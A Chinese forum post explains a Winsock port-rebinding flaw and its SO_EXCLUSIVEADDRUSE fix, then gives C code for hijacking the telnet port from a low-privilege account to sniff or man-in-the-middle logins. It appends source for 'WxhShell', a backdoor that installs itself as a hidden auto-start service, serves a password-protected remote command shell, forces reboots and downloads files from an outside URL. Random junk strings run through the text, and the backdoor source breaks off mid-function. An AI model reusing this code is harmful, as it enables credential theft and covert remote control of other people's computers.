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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @,i_ KN6C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j[ !'l,I  
"|{O%X  
  saddr.sin_family = AF_INET; K8y/U(@|D  
=T$-idx1l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hETTD%  
MR$Bl"d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 45l/)=@@B  
cDMA#gp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3R%'<MV|  
[m7jZOEu  
  这意味着什么?意味着可以进行如下的攻击: mjbr}9  
2F(zHa  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g+gHIb7{  
(q+U5Ls6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0eY$K7 U  
*V(TNLIh;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lJ!+n<K+  
{uEu ^6a5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J2 _DP  
:UmY|=v?t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ye1kI~LO(  
L 0k K'n?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nfck3h  
p(UUH3%W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CMa~BOt#  
gCAWRNp  
  #include L- [<C/`;t  
  #include ^y"Rdv  
  #include }YHoWYR  
  #include    _|.q?;C]$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >IO}}USm  
  int main() ;wCp j9hir  
  { q: . URl  
  WORD wVersionRequested; :`6E{yfM  
  DWORD ret; H XF5fs  
  WSADATA wsaData; "FI]l<G&  
  BOOL val; uUb[Dqn  
  SOCKADDR_IN saddr; v|~ yIywf  
  SOCKADDR_IN scaddr; ETe,RY  
  int err; s  bV6}  
  SOCKET s; v/6QE;BY&Q  
  SOCKET sc; 7>`QX%  
  int caddsize; "YD<pRVB  
  HANDLE mt; n'ft@7>%h  
  DWORD tid;   |Euf:yWY  
  wVersionRequested = MAKEWORD( 2, 2 ); GbG!vo  
  err = WSAStartup( wVersionRequested, &wsaData ); 'Syq!=,  
  if ( err != 0 ) { rgheq<B:  
  printf("error!WSAStartup failed!\n"); U]Q2EL\%  
  return -1; Px:PoOw\  
  } (</cu$w>H)  
  saddr.sin_family = AF_INET; Dt\F]\6sd  
   hH8:7i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Jla ;^X  
|) QE+|?P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Kr`Cr5v  
  saddr.sin_port = htons(23); RP&H9>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wYZFW'5p  
  { 3B95t-  
  printf("error!socket failed!\n"); -%"Kxe  
  return -1; _ v\=ag  
  } Y( n# =  
  val = TRUE; -#= v~vE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z>+@pj   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2'W3:   
  { nE)?P*$3Z  
  printf("error!setsockopt failed!\n"); D OiL3i"H  
  return -1; eZs34${fN  
  } xS]=WO*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; aLTC#c%U  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !u@e^J{Ao  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 09pnM|8A  
ai[st+1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WP7*Q:5  
  { }; !S2+  
  ret=GetLastError(); A?'Tigi  
  printf("error!bind failed!\n"); `yJpDGh  
  return -1; !]7r>NS>  
  } EXUjdJs"  
  listen(s,2); 5 rkIK  
  while(1) Kf D8S  
  { hkeOe  
  caddsize = sizeof(scaddr); jI!}}K)d  
  //接受连接请求 W #E-vi+l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); TG'_1m*$  
  if(sc!=INVALID_SOCKET) ^B~z .F i  
  { GGsDR%U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZFh2v]|!  
  if(mt==NULL) _M= \s>;G  
  { dX-Xzg  
  printf("Thread Creat Failed!\n"); 82Dw,Cn  
  break; Au08k}h<G  
  } GB Ia Ul  
  } PX}YDC zP$  
  CloseHandle(mt); !lp *0h(7  
  } Y ## ftQ  
  closesocket(s); N=lFf+  
  WSACleanup(); |]sh*<:?,  
  return 0; GZQy~Uk~  
  }   w N9I )hB  
  DWORD WINAPI ClientThread(LPVOID lpParam) F ?xbVN  
  { _U;z@  
  SOCKET ss = (SOCKET)lpParam; hb'S!N5m  
  SOCKET sc; &m_4#  
  unsigned char buf[4096]; \&|)?'8rS  
  SOCKADDR_IN saddr; \wqi_[A  
  long num; &wr0HrE\  
  DWORD val; {Sm^F  
  DWORD ret; Vr0-evwfo  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pTPWToKh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I5PI;t+  
  saddr.sin_family = AF_INET; -Zd0[& ']  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3 4CqLPg8  
  saddr.sin_port = htons(23); rkh+$*t@i7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :hB/|H*=  
  { 5%j !SVW  
  printf("error!socket failed!\n"); `)$'1,]u  
  return -1; h-<2N)>!  
  } :786Z,')  
  val = 100; { [ QCuR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zts%oIgV  
  { HM ;9%rtO  
  ret = GetLastError();  Svj%O(  
  return -1; 1>bG]l1//  
  } F1%-IBe  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :r* skV|  
  { FjD`bhw-  
  ret = GetLastError(); vfPL;__{Y]  
  return -1; zLd i  
  } Qvt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]wCg'EUB  
  { Y S )Q#fP  
  printf("error!socket connect failed!\n"); kKwb)i  
  closesocket(sc); /iFtW#K+  
  closesocket(ss); 8TIc;'bRM  
  return -1; V uZd  
  } (;-< @~2  
  while(1) 2.6%?E]  
  { dq[X:3i  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }DiMt4!ZC!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9B gR@b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QQ^P IQj  
  num = recv(ss,buf,4096,0); ]Z%9l(  
  if(num>0) ~Qjf-|  
  send(sc,buf,num,0); 7:'7EqM  
  else if(num==0) V'y,{YpP  
  break; $6Z@0H@X  
  num = recv(sc,buf,4096,0); 9M{z@H/  
  if(num>0) nw|ls2   
  send(ss,buf,num,0); X;/~d>@  
  else if(num==0) G\4h4% a  
  break; $/sIdFZi  
  } 6'+;5M!  
  closesocket(ss); C,$$bmS =  
  closesocket(sc); Q^=drNV  
  return 0 ; x-0S-1M  
  } z 4 4(  
9D,`9L5-=  
D  /wX  
========================================================== 2Ur9*#~kGp  
DY| s |:d  
下边附上一个代码,,WXhSHELL {1a%CsCM  
!0Hx1I<*x  
========================================================== :(gZ\q">k  
&0A^_Z .nA  
#include "stdafx.h" z.EpRJn  
ZdQt!  
#include <stdio.h> ,kiyx h^  
#include <string.h> U'8+YAgc  
#include <windows.h> 4 0as7.q  
#include <winsock2.h> {T EF#iF  
#include <winsvc.h> AP*Z0OFE  
#include <urlmon.h> %DH2]B? 0  
@ov*Fh  
#pragma comment (lib, "Ws2_32.lib") @AM;58.  
#pragma comment (lib, "urlmon.lib") 6Ap-J~4  
q5<'pi   
#define MAX_USER   100 // 最大客户端连接数 BVAxeXO  
#define BUF_SOCK   200 // sock buffer (/6~*<ZGT  
#define KEY_BUFF   255 // 输入 buffer k$j4~C'$  
Pyfj[m4+}  
#define REBOOT     0   // 重启 Se*o{V3s$  
#define SHUTDOWN   1   // 关机 N,N9K  
oNW5/W2e;  
#define DEF_PORT   5000 // 监听端口 vhe[:`=a  
i> }P V  
#define REG_LEN     16   // 注册表键长度 i}d^a28  
#define SVC_LEN     80   // NT服务名长度 $2lrP]`>j.  
<7-Qn(m,  
// 从dll定义API t.0F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^lADq']  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [Aqy%mbG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :Y/>] tS4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VHwAO:+-  
7{0;<@  
// wxhshell配置信息 ?4p\ujc  
struct WSCFG { wB%:RI,  
  int ws_port;         // 监听端口 ,T:Uk*Bj  
  char ws_passstr[REG_LEN]; // 口令 z  u53mZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no jx*jYil  
  char ws_regname[REG_LEN]; // 注册表键名 -.XICKz  
  char ws_svcname[REG_LEN]; // 服务名 "N'|N.,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 prJ]u H,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BCy# Td  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \v|nRn,`-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2/[J<c\G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9eG{"0)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s.VtmAH  
l-?B1gd,l  
}; of?hP1kl[  
K9\p=H^T7  
// default Wxhshell configuration H?\b   
struct WSCFG wscfg={DEF_PORT, wrtJ8O(  
    "xuhuanlingzhe", OQl7#`G!H%  
    1, TV&:`kH  
    "Wxhshell", r1vF/yt(  
    "Wxhshell", yDmNPk/  
            "WxhShell Service", `XT8}9z!  
    "Wrsky Windows CmdShell Service", ANqWY &f  
    "Please Input Your Password: ", Y8$Y]2  
  1, T'W)RYnwl  
  "http://www.wrsky.com/wxhshell.exe", ,0j7qn@tm  
  "Wxhshell.exe" ^r4@C2#vzJ  
    }; \PHbJN:BI  
SQ$|s%)oB  
// 消息定义模块 c*fMWtPp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d2cslD d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Kyn[4Bu!?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T9&-t7:  
char *msg_ws_ext="\n\rExit."; 5~BM+ja  
char *msg_ws_end="\n\rQuit."; $@WqM$  
char *msg_ws_boot="\n\rReboot..."; Tf0"9  
char *msg_ws_poff="\n\rShutdown..."; H rMH  
char *msg_ws_down="\n\rSave to "; D7v-+jypp  
}bkQr)us  
char *msg_ws_err="\n\rErr!"; Vp"=8p#k  
char *msg_ws_ok="\n\rOK!"; 1W@ C]n4  
k 5~#_D>  
char ExeFile[MAX_PATH]; Q:nBx[%  
int nUser = 0; 0j@nOj(3  
HANDLE handles[MAX_USER]; #ZzFAt  
int OsIsNt; 2kG(\+\  
'+ %<\.$  
SERVICE_STATUS       serviceStatus; nYA@t=t0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vIMLUL0  
|->P|1 P  
// 函数声明 `Mg&s*  
int Install(void); {DP%=4  
int Uninstall(void); c;RL<83:  
int DownloadFile(char *sURL, SOCKET wsh); YTb/ LeuT  
int Boot(int flag); O{P@fv%~(o  
void HideProc(void); 3c%dErch  
int GetOsVer(void); |"gg2p  
int Wxhshell(SOCKET wsl); 1u9*)w  
void TalkWithClient(void *cs); gfr y5e  
int CmdShell(SOCKET sock); 7IEG%FY T  
int StartFromService(void); A(j9T,!  
int StartWxhshell(LPSTR lpCmdLine); ]H%S GQPn  
-}_X'h&"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,RA;X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y! 8 I  
3izGMH_`  
// 数据结构和表定义 utH/E7^8  
SERVICE_TABLE_ENTRY DispatchTable[] = F=T};b  
{ ( vO\h8  
{wscfg.ws_svcname, NTServiceMain}, ca@?-)  
{NULL, NULL} 8ch^e[U`  
}; O6 :GE'S  
lMn1e6~K  
// 自我安装 {hP_"nN#  
int Install(void) vOF"p4 ^3  
{ W{)RJ1  
  char svExeFile[MAX_PATH]; =qg;K'M5  
  HKEY key; ?.*^#>-  
  strcpy(svExeFile,ExeFile); ff{ L=uj  
T(@J]Y-  
// 如果是win9x系统,修改注册表设为自启动 w# iezo. 0  
if(!OsIsNt) { Xc>M_%+ R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VuU{7:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ulA||  
  RegCloseKey(key); 3?n2/p 7=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b$*1!a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G C#s;X  
  RegCloseKey(key); #8{U0 7]"  
  return 0; OrG1Mfx&2%  
    } w$`[C+L  
  } ],?$&  
} @7}]\}SR  
else { [?QU'[  
jV)4+D  
// 如果是NT以上系统,安装为系统服务 REK(^1 h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5LYzX+a)  
if (schSCManager!=0) Hv3<gyD  
{ ;Z asK0  
  SC_HANDLE schService = CreateService y;$ !J  
  ( MkNPC  
  schSCManager, )iU@P7W=  
  wscfg.ws_svcname, sY%nPf~9q'  
  wscfg.ws_svcdisp, N4L#$\M  
  SERVICE_ALL_ACCESS, "/#=8_f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .)Wqo7/Gx  
  SERVICE_AUTO_START, .%x1%TN  
  SERVICE_ERROR_NORMAL, W Z_yaG$U  
  svExeFile, &{gD(QG  
  NULL, l(B(gPvU  
  NULL, ab@1JAgs  
  NULL, u]<_6;_  
  NULL, +[lv `tr  
  NULL uE;bNs'  
  ); o<\u Hr3  
  if (schService!=0) flXDGoW  
  { V Kw33  
  CloseServiceHandle(schService); 57S!X|CE  
  CloseServiceHandle(schSCManager); kGkfLY6B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wcf;ZX  
  strcat(svExeFile,wscfg.ws_svcname); NB.s2I7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !k}]`z^d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GKg&lM!O$  
  RegCloseKey(key); Y9w^F_relL  
  return 0; |ctcY*+  
    } zF7*T?3b"  
  } k^i\<@v  
  CloseServiceHandle(schSCManager); YqEB%Y~N+  
} R2Y.s^  
} -~rZ| W~v  
vMHJgpd&j  
return 1; sI OT6L^7  
} X$0&tmum  
[AA*B  
// 自我卸载 cvk$ I"q+  
int Uninstall(void) TGSkJ 1Lx  
{ VJoobu1h  
  HKEY key; p* Q *}V  
XD8Q2un  
if(!OsIsNt) { sWGc1jC?.F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GU,ztO.w3  
  RegDeleteValue(key,wscfg.ws_regname); ?E6 C|A$I  
  RegCloseKey(key); cq0#~20  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +\yQZ{4'@  
  RegDeleteValue(key,wscfg.ws_regname); -"} mmTa*<  
  RegCloseKey(key); j` 5K7~hv  
  return 0; 5<RZ ht$i  
  } Fu$JI8  
} huTWoMU  
} n]< >$  
else { Xf/qUao  
_Z0O]>KH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #[ TOe  
if (schSCManager!=0) ]7/6u.G7R  
{ mNDd>4%H_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CYH o~VIK  
  if (schService!=0) g54b}vzm  
  { y yqya[-11  
  if(DeleteService(schService)!=0) { Kd|@  
  CloseServiceHandle(schService); @ rG=>??k  
  CloseServiceHandle(schSCManager); @@pI>~#zh  
  return 0; =hq+9 R8=  
  } #k/NS  
  CloseServiceHandle(schService); [:"7B&&A  
  } S uo  
  CloseServiceHandle(schSCManager); tvEf-z  
} Wu|ANc  
} 6b7SA ,  
KwxO%/-}S  
return 1; AD0pmD  
} cd3;uB4\,  
ZGgM- O1  
// 从指定url下载文件 L; (J6p]h  
int DownloadFile(char *sURL, SOCKET wsh) b!gvvg<  
{ g7g^iLU  
  HRESULT hr; -8%[ 7Z]  
char seps[]= "/"; S @tpd'  
char *token; haoQr)S  
char *file; [[A}MF*@  
char myURL[MAX_PATH]; 0~GtK8^B  
char myFILE[MAX_PATH]; Sft+Gb6  
r zO5 3\  
strcpy(myURL,sURL); aS)Gj?Odf  
  token=strtok(myURL,seps); NB#-W4NA  
  while(token!=NULL) syB.Z-Cpd  
  { 2)^gd  
    file=token; F\BD7W  
  token=strtok(NULL,seps); p`mNy o'  
  } TChKm- x  
V^D!\)#  
GetCurrentDirectory(MAX_PATH,myFILE); P;DGs]PF  
strcat(myFILE, "\\"); 90[?)s  
strcat(myFILE, file); & G8tb>q<V  
  send(wsh,myFILE,strlen(myFILE),0); Z+M* z;  
send(wsh,"...",3,0); {<#~Ya-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >[&Zs3>  
  if(hr==S_OK) 0$1-5XY9  
return 0; WJs2d73Qp  
else 72akOx   
return 1; 5fuB((fd(  
|x$2- RUP  
} Qk#`e  
 Y!*F-v@  
// 系统电源模块 $*N)\>~X  
int Boot(int flag) M9dOLM.  
{ U_l#lGA(H  
  HANDLE hToken; }MCJ$=5  
  TOKEN_PRIVILEGES tkp; Lju)q6  
x17K8De  
  if(OsIsNt) { Kq4b`cn{_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K'u66%wAL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xa]e9u%  
    tkp.PrivilegeCount = 1; ['#3GJz-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )DwHLaLW  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @yxF/eeEy+  
if(flag==REBOOT) { 8D5v'[j-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (n {,R  
  return 0; hY[Vs5v  
} :W*']8 M-  
else { R0DWjN$j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }Gi4`Es  
  return 0; p&Ev"xhs  
} jTE~^  
  } vd]75  
  else { e%K oecq  
if(flag==REBOOT) { >xK!J?!K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V0)F/qY  
  return 0; Hy| X>Z  
} $#LR4 [Fq  
else { }n[<$*W^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SQ0t28N3h  
  return 0; #dEMjD  
} &* 1iW(x  
} GAY f.L"  
de$0DfK  
return 1; ,d~6LXr<fM  
} B kh1VAT  
Yfjp:hg/!  
// win9x进程隐藏模块 {- Y.C*E  
void HideProc(void) y>jP]LR4  
{ b 9cY  
|xX>AMZc)D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3S h#7"K3  
  if ( hKernel != NULL ) aZBb@~Y  
  { 4b<>gpQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o|O|e9m(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ubf@"B  
    FreeLibrary(hKernel); '3eL^Aq  
  } Z&[_8Y5j  
;f l3'.S[  
return; 2uy<wJE >  
} ocDAg<wo  
]46#u=y~3  
// 获取操作系统版本 #V#sg}IhM?  
int GetOsVer(void) _DAj$$ Ru4  
{ -FrNk>  
  OSVERSIONINFO winfo; 3,[#%}1(S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2B`#c}PP  
  GetVersionEx(&winfo); 6&KvT2?tA`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j]5mzz~  
  return 1; R[T94U  
  else d&ap u{  
  return 0; dub %fs  
} B>Xfs ZS  
Ir\f _>7  
// 客户端句柄模块 RhQ[hI  
int Wxhshell(SOCKET wsl) 3X#)PX9b){  
{ 3wf&,4`EX  
  SOCKET wsh; y L|'K}  
  struct sockaddr_in client; 9fQFsI  
  DWORD myID; 3sF^6<E  
hCFgZiH2  
  while(nUser<MAX_USER) [8$K i$;  
{  QnN cGH  
  int nSize=sizeof(client); !,z ==Qp|v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N,F$^ q6  
  if(wsh==INVALID_SOCKET) return 1; d@aPhzLu  
.|Y&,?k| Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7w?V0pLwn8  
if(handles[nUser]==0) N`1W"Rx!  
  closesocket(wsh); yhzZ[vw7k  
else `Eq~W@';Q0  
  nUser++; MeMSF8zSQ  
  } f tE2@}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w0(1o_F7.  
U2TR>0l  
  return 0;  VsR8|Hn$  
} L^><APlX  
DJ.n8hne  
// 关闭 socket M>LgEc-v67  
void CloseIt(SOCKET wsh) 6X`i*T$.  
{ 5zk^zn)  
closesocket(wsh); H4{CiZ  
nUser--; ?Q#yf8  
ExitThread(0); h =E)5&Z  
} rD":Gac  
}{#ty uzAo  
// 客户端请求句柄 4/:}K>S_  
void TalkWithClient(void *cs) vWpoaz/w  
{ e$=UA%  
H)VzPe#{  
  SOCKET wsh=(SOCKET)cs; NuQ l  
  char pwd[SVC_LEN]; <)am]+Lswy  
  char cmd[KEY_BUFF]; |'ML )`c[  
char chr[1]; /.m &rS  
int i,j; 6! .nj3$*  
HJ^SqSm  
  while (nUser < MAX_USER) { >A_:q yGk  
1 |T{RY5  
if(wscfg.ws_passstr) { jPc"qER!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Z!x]}{M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pS6p}S=1]  
  //ZeroMemory(pwd,KEY_BUFF); 9hn+eU  
      i=0; ExKjH*gn  
  while(i<SVC_LEN) { 8DLj?M>N  
5%)<e-  
  // 设置超时 HmQ.'  
  fd_set FdRead; Z\. n6  
  struct timeval TimeOut; _'Rzu'$`  
  FD_ZERO(&FdRead); %8hjMds  
  FD_SET(wsh,&FdRead); 05PRlz *x=  
  TimeOut.tv_sec=8; P~d&PhOe  
  TimeOut.tv_usec=0; x4=Sm0Ro|V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *3Qwmom  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oQ:.pq{T  
su\iUi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;%W]b  
  pwd=chr[0]; YkuFt>U9,  
  if(chr[0]==0xd || chr[0]==0xa) { 7G]v(ay  
  pwd=0; vnr{Ekg  
  break; ewrs D'?  
  } x,81#=m^h  
  i++; ::`#qa4!  
    } $LkTu  
K*id 1YY  
  // 如果是非法用户,关闭 socket |^k&6QO5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (2uF<$7(  
} "kS!rJ[  
s:ZYiZ-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8Z[YcLy"({  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `WRM7  
$s.:H4:I  
while(1) { j0`)mR}  
K6d2}!5  
  ZeroMemory(cmd,KEY_BUFF); ,$A'Y  
{a9( Qi  
      // 自动支持客户端 telnet标准   ' Ih f|;r  
  j=0; ='G-wX&k  
  while(j<KEY_BUFF) { 3LW_qX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "&Rt&S  
  cmd[j]=chr[0]; pB5#Ho>S  
  if(chr[0]==0xa || chr[0]==0xd) { ATzFs]~K;  
  cmd[j]=0; )sZJH9[K  
  break; ! %X#;{  
  } :tf'Gw6v  
  j++; 6m$lK%P{1  
    } hH(w O\s  
U]AJWC6  
  // 下载文件 .$"13"  
  if(strstr(cmd,"http://")) { q"9 2][}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &,8F!)[9  
  if(DownloadFile(cmd,wsh)) J5Ovj,[EZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y!qn[,q8  
  else m- u0U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H5!e/4iz  
  } 1tIJ'#6  
  else { 4^(aG7  
N}gPf i  
    switch(cmd[0]) { Q&]f9j_  
  -qqI @+u+  
  // 帮助 G0~6A@>  
  case '?': { 4..M *U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [JVEKc ym  
    break; !*e1F9k  
  } c4V%>A  
  // 安装 Lvd es.0|  
  case 'i': { cNl NJ  
    if(Install()) L+.&e4f'oj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W7#dc89}  
    else 8vqx}2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vdIert?p  
    break; ? FlQ\q  
    } g^: & Dh  
  // 卸载 !rsGCw!Pg  
  case 'r': { \k 6'[ln  
    if(Uninstall()) l0w<NZ F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,n3e8qd  
    else _J"fgxW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z^!% b  
    break; Fs(FI\^  
    } 0fzHEL  
  // 显示 wxhshell 所在路径 y|/[;  
  case 'p': { =1Hn<Xay0  
    char svExeFile[MAX_PATH]; p?2^JJpUb  
    strcpy(svExeFile,"\n\r"); R8-=N+hX  
      strcat(svExeFile,ExeFile); ?[<#>,W  
        send(wsh,svExeFile,strlen(svExeFile),0); yu>)[|-  
    break; oJ?,X^~_  
    } PH$C."Vv  
  // 重启 U'aJCM  
  case 'b': { = glF6a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V}X>~ '%  
    if(Boot(REBOOT)) *3\*GatJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FrC)2wX  
    else { P W_"JZ  
    closesocket(wsh); `gAW5 i-z5  
    ExitThread(0); Z`<5SHQd  
    } bH.SUd)  
    break; H/U.Bg 4  
    } v\o m  
  // 关机 ezb*tN!  
  case 'd': { Ao+6^z_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R} X"di  
